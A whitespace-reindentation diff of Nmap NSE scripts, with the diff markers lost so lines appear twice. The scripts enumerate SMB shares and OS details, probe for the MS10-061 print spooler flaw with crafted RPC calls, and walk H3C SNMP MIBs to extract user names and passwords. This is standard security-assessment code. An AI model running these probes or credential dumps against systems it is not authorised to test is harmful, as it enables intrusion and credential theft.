if(extra ~= nil and extra ~= '') then
|
||||
table.insert(response, extra)
|
||||
end
|
||||
|
||||
for i = 1, #shares, 1 do
|
||||
local share = shares[i]
|
||||
local share_output = {}
|
||||
share_output['name'] = share['name']
|
||||
for i = 1, #shares, 1 do
|
||||
local share = shares[i]
|
||||
local share_output = {}
|
||||
share_output['name'] = share['name']
|
||||
|
||||
if(type(share['details']) ~= 'table') then
|
||||
share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
|
||||
else
|
||||
local details = share['details']
|
||||
if(type(share['details']) ~= 'table') then
|
||||
share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
|
||||
else
|
||||
local details = share['details']
|
||||
|
||||
table.insert(share_output, string.format("Type: %s", details['sharetype']))
|
||||
table.insert(share_output, string.format("Comment: %s", details['comment']))
|
||||
table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
|
||||
table.insert(share_output, string.format("Path: %s", details['path']))
|
||||
end
|
||||
table.insert(share_output, string.format("Type: %s", details['sharetype']))
|
||||
table.insert(share_output, string.format("Comment: %s", details['comment']))
|
||||
table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
|
||||
table.insert(share_output, string.format("Path: %s", details['path']))
|
||||
end
|
||||
|
||||
|
||||
-- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
|
||||
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
|
||||
-- Print details for a non-file share
|
||||
if(share['anonymous_can_read']) then
|
||||
table.insert(share_output, "Anonymous access: READ <not a file share>")
|
||||
else
|
||||
table.insert(share_output, "Anonymous access: <none> <not a file share>")
|
||||
end
|
||||
-- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
|
||||
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
|
||||
-- Print details for a non-file share
|
||||
if(share['anonymous_can_read']) then
|
||||
table.insert(share_output, "Anonymous access: READ <not a file share>")
|
||||
else
|
||||
table.insert(share_output, "Anonymous access: <none> <not a file share>")
|
||||
end
|
||||
|
||||
-- Don't bother printing this if we're already anonymous
|
||||
if(username ~= '') then
|
||||
if(share['user_can_read']) then
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
|
||||
else
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
|
||||
end
|
||||
end
|
||||
else
|
||||
-- Print details for a file share
|
||||
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
|
||||
table.insert(share_output, "Anonymous access: READ/WRITE")
|
||||
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
|
||||
table.insert(share_output, "Anonymous access: READ")
|
||||
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
|
||||
table.insert(share_output, "Anonymous access: WRITE")
|
||||
else
|
||||
table.insert(share_output, "Anonymous access: <none>")
|
||||
end
|
||||
-- Don't bother printing this if we're already anonymous
|
||||
if(username ~= '') then
|
||||
if(share['user_can_read']) then
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
|
||||
else
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
|
||||
end
|
||||
end
|
||||
else
|
||||
-- Print details for a file share
|
||||
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
|
||||
table.insert(share_output, "Anonymous access: READ/WRITE")
|
||||
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
|
||||
table.insert(share_output, "Anonymous access: READ")
|
||||
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
|
||||
table.insert(share_output, "Anonymous access: WRITE")
|
||||
else
|
||||
table.insert(share_output, "Anonymous access: <none>")
|
||||
end
|
||||
|
||||
if(username ~= '') then
|
||||
if(share['user_can_read'] and share['user_can_write']) then
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
|
||||
elseif(share['user_can_read'] and not(share['user_can_write'])) then
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ")
|
||||
elseif(not(share['user_can_read']) and share['user_can_write']) then
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
|
||||
else
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
|
||||
end
|
||||
end
|
||||
end
|
||||
if(username ~= '') then
|
||||
if(share['user_can_read'] and share['user_can_write']) then
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
|
||||
elseif(share['user_can_read'] and not(share['user_can_write'])) then
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ")
|
||||
elseif(not(share['user_can_read']) and share['user_can_write']) then
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
|
||||
else
|
||||
table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
table.insert(response, share_output)
|
||||
end
|
||||
table.insert(response, share_output)
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
|
||||
@@ -79,7 +79,7 @@ dependencies = {"smb-brute"}
|
||||
|
||||
--- Check whether or not this script should be run.
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
-- Some observed OS strings:
|
||||
@@ -92,97 +92,97 @@ end
|
||||
-- http://msdn.microsoft.com/en-us/library/cc246806%28v=prot.20%29.aspx has a
|
||||
-- list of strings that don't quite match these.
|
||||
function make_cpe(result)
|
||||
local os = result.os
|
||||
local parts = {}
|
||||
local os = result.os
|
||||
local parts = {}
|
||||
|
||||
if string.match(os, "^Windows 5%.0") then
|
||||
parts = {"o", "microsoft", "windows_2000"}
|
||||
elseif string.match(os, "^Windows 5%.1") then
|
||||
parts = {"o", "microsoft", "windows_xp"}
|
||||
elseif string.match(os, "^Windows Server.*2003") then
|
||||
parts = {"o", "microsoft", "windows_server_2003"}
|
||||
elseif string.match(os, "^Windows Vista") then
|
||||
parts = {"o", "microsoft", "windows_vista"}
|
||||
elseif string.match(os, "^Windows Server.*2008") then
|
||||
parts = {"o", "microsoft", "windows_server_2008"}
|
||||
elseif string.match(os, "^Windows 7") then
|
||||
parts = {"o", "microsoft", "windows_7"}
|
||||
elseif string.match(os, "^Windows Server.*2012") then
|
||||
parts = {"o", "microsoft", "windows_server_2012"}
|
||||
end
|
||||
if string.match(os, "^Windows 5%.0") then
|
||||
parts = {"o", "microsoft", "windows_2000"}
|
||||
elseif string.match(os, "^Windows 5%.1") then
|
||||
parts = {"o", "microsoft", "windows_xp"}
|
||||
elseif string.match(os, "^Windows Server.*2003") then
|
||||
parts = {"o", "microsoft", "windows_server_2003"}
|
||||
elseif string.match(os, "^Windows Vista") then
|
||||
parts = {"o", "microsoft", "windows_vista"}
|
||||
elseif string.match(os, "^Windows Server.*2008") then
|
||||
parts = {"o", "microsoft", "windows_server_2008"}
|
||||
elseif string.match(os, "^Windows 7") then
|
||||
parts = {"o", "microsoft", "windows_7"}
|
||||
elseif string.match(os, "^Windows Server.*2012") then
|
||||
parts = {"o", "microsoft", "windows_server_2012"}
|
||||
end
|
||||
|
||||
if parts[1] == "o" and parts[2] == "microsoft"
|
||||
and string.match(parts[3], "^windows") then
|
||||
parts[4] = ""
|
||||
local sp = string.match(os, "Service Pack (%d+)")
|
||||
if sp then
|
||||
parts[5] = "sp" .. tostring(sp)
|
||||
else
|
||||
parts[5] = "-"
|
||||
end
|
||||
if string.match(os, "Professional") then
|
||||
parts[6] = "professional"
|
||||
end
|
||||
end
|
||||
if parts[1] == "o" and parts[2] == "microsoft"
|
||||
and string.match(parts[3], "^windows") then
|
||||
parts[4] = ""
|
||||
local sp = string.match(os, "Service Pack (%d+)")
|
||||
if sp then
|
||||
parts[5] = "sp" .. tostring(sp)
|
||||
else
|
||||
parts[5] = "-"
|
||||
end
|
||||
if string.match(os, "Professional") then
|
||||
parts[6] = "professional"
|
||||
end
|
||||
end
|
||||
|
||||
if #parts > 0 then
|
||||
return "cpe:/" .. stdnse.strjoin(":", parts)
|
||||
end
|
||||
if #parts > 0 then
|
||||
return "cpe:/" .. stdnse.strjoin(":", parts)
|
||||
end
|
||||
end
|
||||
|
||||
function add_to_output(output_table, label, value)
|
||||
if value then
|
||||
table.insert(output_table, string.format("%s: %s", label, value))
|
||||
end
|
||||
if value then
|
||||
table.insert(output_table, string.format("%s: %s", label, value))
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
local response = stdnse.output_table()
|
||||
local status, result = smb.get_os(host)
|
||||
local response = stdnse.output_table()
|
||||
local status, result = smb.get_os(host)
|
||||
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, result)
|
||||
end
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, result)
|
||||
end
|
||||
|
||||
-- Collect results.
|
||||
response.os = result.os
|
||||
response.lanmanager = result.lanmanager
|
||||
response.domain = result.domain
|
||||
response.server = result.server
|
||||
if result.time and result.timezone then
|
||||
response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60)
|
||||
end
|
||||
response.fqdn = result.fqdn
|
||||
response.domain_dns = result.domain_dns
|
||||
response.forest_dns = result.forest_dns
|
||||
response.workgroup = result.workgroup
|
||||
response.cpe = make_cpe(result)
|
||||
-- Collect results.
|
||||
response.os = result.os
|
||||
response.lanmanager = result.lanmanager
|
||||
response.domain = result.domain
|
||||
response.server = result.server
|
||||
if result.time and result.timezone then
|
||||
response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60)
|
||||
end
|
||||
response.fqdn = result.fqdn
|
||||
response.domain_dns = result.domain_dns
|
||||
response.forest_dns = result.forest_dns
|
||||
response.workgroup = result.workgroup
|
||||
response.cpe = make_cpe(result)
|
||||
|
||||
-- Build normal output.
|
||||
local output_lines = {}
|
||||
if response.os and response.lanmanager then
|
||||
add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager))
|
||||
else
|
||||
add_to_output(output_lines, "OS", "Unknown")
|
||||
end
|
||||
add_to_output(output_lines, "OS CPE", response.cpe)
|
||||
if response.fqdn then
|
||||
-- Pull the first part of the FQDN as the computer name.
|
||||
add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?"))
|
||||
end
|
||||
add_to_output(output_lines, "NetBIOS computer name", result.server)
|
||||
if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then
|
||||
-- If the FQDN doesn't match the domain name, the target is a domain member.
|
||||
add_to_output(output_lines, "Domain name", response.domain_dns)
|
||||
add_to_output(output_lines, "Forest name", response.forest_dns)
|
||||
add_to_output(output_lines, "FQDN", response.fqdn)
|
||||
add_to_output(output_lines, "NetBIOS domain name", response.domain)
|
||||
else
|
||||
add_to_output(output_lines, "Workgroup", response.workgroup or response.domain)
|
||||
end
|
||||
add_to_output(output_lines, "System time", response.date or "Unknown")
|
||||
-- Build normal output.
|
||||
local output_lines = {}
|
||||
if response.os and response.lanmanager then
|
||||
add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager))
|
||||
else
|
||||
add_to_output(output_lines, "OS", "Unknown")
|
||||
end
|
||||
add_to_output(output_lines, "OS CPE", response.cpe)
|
||||
if response.fqdn then
|
||||
-- Pull the first part of the FQDN as the computer name.
|
||||
add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?"))
|
||||
end
|
||||
add_to_output(output_lines, "NetBIOS computer name", result.server)
|
||||
if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then
|
||||
-- If the FQDN doesn't match the domain name, the target is a domain member.
|
||||
add_to_output(output_lines, "Domain name", response.domain_dns)
|
||||
add_to_output(output_lines, "Forest name", response.forest_dns)
|
||||
add_to_output(output_lines, "FQDN", response.fqdn)
|
||||
add_to_output(output_lines, "NetBIOS domain name", response.domain)
|
||||
else
|
||||
add_to_output(output_lines, "Workgroup", response.workgroup or response.domain)
|
||||
end
|
||||
add_to_output(output_lines, "System time", response.date or "Unknown")
|
||||
|
||||
return response, stdnse.format_output(true, output_lines)
|
||||
return response, stdnse.format_output(true, output_lines)
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -21,9 +21,9 @@ which can be specified with smb library arguments smbuser and
|
||||
smbpassword.
|
||||
|
||||
References:
|
||||
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
|
||||
- http://technet.microsoft.com/en-us/security/bulletin/MS10-061
|
||||
- http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
|
||||
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
|
||||
- http://technet.microsoft.com/en-us/security/bulletin/MS10-061
|
||||
- http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
|
||||
]]
|
||||
---
|
||||
-- @usage nmap -p 445 <target> --script=smb-vuln-ms10-061
|
||||
@@ -58,113 +58,113 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"vuln","intrusive"}
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
action = function(host,port)
|
||||
|
||||
local ms10_061 = {
|
||||
title = "Print Spooler Service Impersonation Vulnerability",
|
||||
IDS = {CVE = 'CVE-2010-2729'},
|
||||
risk_factor = "HIGH",
|
||||
scores = {
|
||||
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
local ms10_061 = {
|
||||
title = "Print Spooler Service Impersonation Vulnerability",
|
||||
IDS = {CVE = 'CVE-2010-2729'},
|
||||
risk_factor = "HIGH",
|
||||
scores = {
|
||||
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled,
|
||||
does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory,
|
||||
and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010,
|
||||
aka "Print Spooler Service Impersonation Vulnerability."
|
||||
]],
|
||||
references = {
|
||||
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729',
|
||||
'http://technet.microsoft.com/en-us/security/bulletin/MS10-061',
|
||||
'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx'
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2010', month = '09', day = '5'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
ms10_061.state = vulns.STATE.NOT_VULN
|
||||
local status, smbstate
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
|
||||
if(status == false) then
|
||||
stdnse.print_debug("SMB: " .. smbstate)
|
||||
return false, smbstate
|
||||
end
|
||||
]],
|
||||
references = {
|
||||
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729',
|
||||
'http://technet.microsoft.com/en-us/security/bulletin/MS10-061',
|
||||
'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx'
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2010', month = '09', day = '5'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
ms10_061.state = vulns.STATE.NOT_VULN
|
||||
local status, smbstate
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
|
||||
if(status == false) then
|
||||
stdnse.print_debug("SMB: " .. smbstate)
|
||||
return false, smbstate
|
||||
end
|
||||
|
||||
local bind_result
|
||||
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
stdnse.print_debug("SMB: " .. bind_result)
|
||||
return false, bind_result
|
||||
end
|
||||
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
|
||||
-- if printer not set find available printers
|
||||
if not printer then
|
||||
stdnse.print_debug("No printer specified, trying to find one...")
|
||||
local lanman_result
|
||||
local REMSmb_NetShareEnum_P = "WrLeh"
|
||||
local REMSmb_share_info_1 = "B13BWz"
|
||||
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
|
||||
if status == false then
|
||||
stdnse.print_debug("SMB: " .. lanman_result)
|
||||
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
|
||||
end
|
||||
local bind_result
|
||||
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
stdnse.print_debug("SMB: " .. bind_result)
|
||||
return false, bind_result
|
||||
end
|
||||
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
|
||||
-- if printer not set find available printers
|
||||
if not printer then
|
||||
stdnse.print_debug("No printer specified, trying to find one...")
|
||||
local lanman_result
|
||||
local REMSmb_NetShareEnum_P = "WrLeh"
|
||||
local REMSmb_share_info_1 = "B13BWz"
|
||||
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
|
||||
if status == false then
|
||||
stdnse.print_debug("SMB: " .. lanman_result)
|
||||
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
|
||||
end
|
||||
|
||||
local parameters = lanman_result.parameters
|
||||
local data = lanman_result.data
|
||||
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
|
||||
pos = 0
|
||||
local share_type, name, _
|
||||
for i = 1, entry_count, 1 do
|
||||
_,share_type = bin.unpack(">s",data,pos+14)
|
||||
pos, name = bin.unpack("<z", data, pos)
|
||||
local parameters = lanman_result.parameters
|
||||
local data = lanman_result.data
|
||||
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
|
||||
pos = 0
|
||||
local share_type, name, _
|
||||
for i = 1, entry_count, 1 do
|
||||
_,share_type = bin.unpack(">s",data,pos+14)
|
||||
pos, name = bin.unpack("<z", data, pos)
|
||||
|
||||
-- pos needs to be rounded to the next even multiple of 20
|
||||
pos = pos + ( 20 - (#name % 20) ) - 1
|
||||
if share_type == 1 then -- share is printer
|
||||
stdnse.print_debug("Found printer share %s.", name)
|
||||
printer = name
|
||||
end
|
||||
end
|
||||
end
|
||||
if not printer then
|
||||
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
|
||||
return false
|
||||
end
|
||||
stdnse.print_debug("Using %s as printer.",printer)
|
||||
-- call RpcOpenPrinterEx - opnum 69
|
||||
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local printer_handle = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
|
||||
-- call RpcStartDocPrinter - opnum 17
|
||||
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local print_job_id = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
|
||||
-- pos needs to be rounded to the next even multiple of 20
|
||||
pos = pos + ( 20 - (#name % 20) ) - 1
|
||||
if share_type == 1 then -- share is printer
|
||||
stdnse.print_debug("Found printer share %s.", name)
|
||||
printer = name
|
||||
end
|
||||
end
|
||||
end
|
||||
if not printer then
|
||||
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
|
||||
return false
|
||||
end
|
||||
stdnse.print_debug("Using %s as printer.",printer)
|
||||
-- call RpcOpenPrinterEx - opnum 69
|
||||
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local printer_handle = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
|
||||
-- call RpcStartDocPrinter - opnum 17
|
||||
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local print_job_id = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
|
||||
|
||||
-- call RpcWritePrinter - 19
|
||||
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa")
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local write_result = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
|
||||
if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written
|
||||
ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version
|
||||
end
|
||||
-- call abort_printer to stop the actuall printing in case the remote system is not vulnerable
|
||||
-- we care about the environment and don't want to spend more paper then needed :)
|
||||
status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle)
|
||||
-- call RpcWritePrinter - 19
|
||||
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa")
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local write_result = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
|
||||
if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written
|
||||
ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version
|
||||
end
|
||||
-- call abort_printer to stop the actuall printing in case the remote system is not vulnerable
|
||||
-- we care about the environment and don't want to spend more paper then needed :)
|
||||
status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle)
|
||||
|
||||
return report:make_output(ms10_061)
|
||||
return report:make_output(ms10_061)
|
||||
end
|
||||
|
||||
@@ -62,13 +62,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
||||
-- @return value of relevant type or nil if oid was not found
|
||||
function get_value_from_table( tbl, oid )
|
||||
|
||||
for _, v in ipairs( tbl ) do
|
||||
if v.oid == oid then
|
||||
return v.value
|
||||
end
|
||||
end
|
||||
for _, v in ipairs( tbl ) do
|
||||
if v.oid == oid then
|
||||
return v.value
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
return nil
|
||||
end
|
||||
|
||||
--- Processes the table and creates the script output
|
||||
@@ -77,81 +77,81 @@ end
|
||||
-- @return <code>stdnse.output_table</code> formatted table
|
||||
function process_answer( tbl )
|
||||
|
||||
-- h3c-user MIB OIDs (oldoid)
|
||||
local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
|
||||
local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
|
||||
local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4"
|
||||
local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5"
|
||||
-- h3c-user MIB OIDs (oldoid)
|
||||
local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
|
||||
local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
|
||||
local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4"
|
||||
local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5"
|
||||
|
||||
-- hh3c-user MIB OIDs (newoid)
|
||||
local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1"
|
||||
local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2"
|
||||
local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4"
|
||||
local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5"
|
||||
-- hh3c-user MIB OIDs (newoid)
|
||||
local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1"
|
||||
local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2"
|
||||
local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4"
|
||||
local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5"
|
||||
|
||||
local output = stdnse.output_table()
|
||||
output.users = {}
|
||||
local output = stdnse.output_table()
|
||||
output.users = {}
|
||||
|
||||
for _, v in ipairs( tbl ) do
|
||||
for _, v in ipairs( tbl ) do
|
||||
|
||||
if ( v.oid:match("^" .. h3cUserName) ) then
|
||||
local item = {}
|
||||
local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword)
|
||||
local password = get_value_from_table( tbl, oldobjid )
|
||||
if ( v.oid:match("^" .. h3cUserName) ) then
|
||||
local item = {}
|
||||
local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword)
|
||||
local password = get_value_from_table( tbl, oldobjid )
|
||||
|
||||
if ( password == nil ) or ( #password == 0 ) then
|
||||
local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword)
|
||||
password = get_value_from_table( tbl, newobjid )
|
||||
end
|
||||
if ( password == nil ) or ( #password == 0 ) then
|
||||
local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword)
|
||||
password = get_value_from_table( tbl, newobjid )
|
||||
end
|
||||
|
||||
oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel)
|
||||
local level = get_value_from_table( tbl, oldobjid )
|
||||
oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel)
|
||||
local level = get_value_from_table( tbl, oldobjid )
|
||||
|
||||
if ( level == nil ) then
|
||||
local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel)
|
||||
level = get_value_from_table( tbl, oldobjid )
|
||||
end
|
||||
if ( level == nil ) then
|
||||
local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel)
|
||||
level = get_value_from_table( tbl, oldobjid )
|
||||
end
|
||||
|
||||
output.users[#output.users + 1] = {username=v.value, password=password, level=level}
|
||||
end
|
||||
output.users[#output.users + 1] = {username=v.value, password=password, level=level}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
return output
|
||||
return output
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1"
|
||||
local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1"
|
||||
local users = {}
|
||||
local status
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1"
|
||||
local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1"
|
||||
local users = {}
|
||||
local status
|
||||
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
|
||||
status, users = snmp.snmpWalk( socket, oldsnmpoid )
|
||||
socket:close()
|
||||
status, users = snmp.snmpWalk( socket, oldsnmpoid )
|
||||
socket:close()
|
||||
|
||||
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
|
||||
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
|
||||
|
||||
-- no status? try new snmp oid
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
status, users = snmp.snmpWalk( socket, newsnmpoid )
|
||||
socket:close()
|
||||
-- no status? try new snmp oid
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
status, users = snmp.snmpWalk( socket, newsnmpoid )
|
||||
socket:close()
|
||||
|
||||
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
|
||||
return users
|
||||
end
|
||||
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
|
||||
return users
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
nmap.set_port_state(host, port, "open")
|
||||
return process_answer(users)
|
||||
nmap.set_port_state(host, port, "open")
|
||||
return process_answer(users)
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -32,139 +32,139 @@ categories = {"discovery","broadcast"}
|
||||
|
||||
|
||||
prerule = function()
|
||||
return nmap.is_privileged()
|
||||
return nmap.is_privileged()
|
||||
end
|
||||
|
||||
local function get_interfaces()
|
||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
or nmap.get_interface()
|
||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
or nmap.get_interface()
|
||||
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces = {}
|
||||
if interface_name then
|
||||
-- single interface defined
|
||||
local if_table = nmap.get_interface_info(interface_name)
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
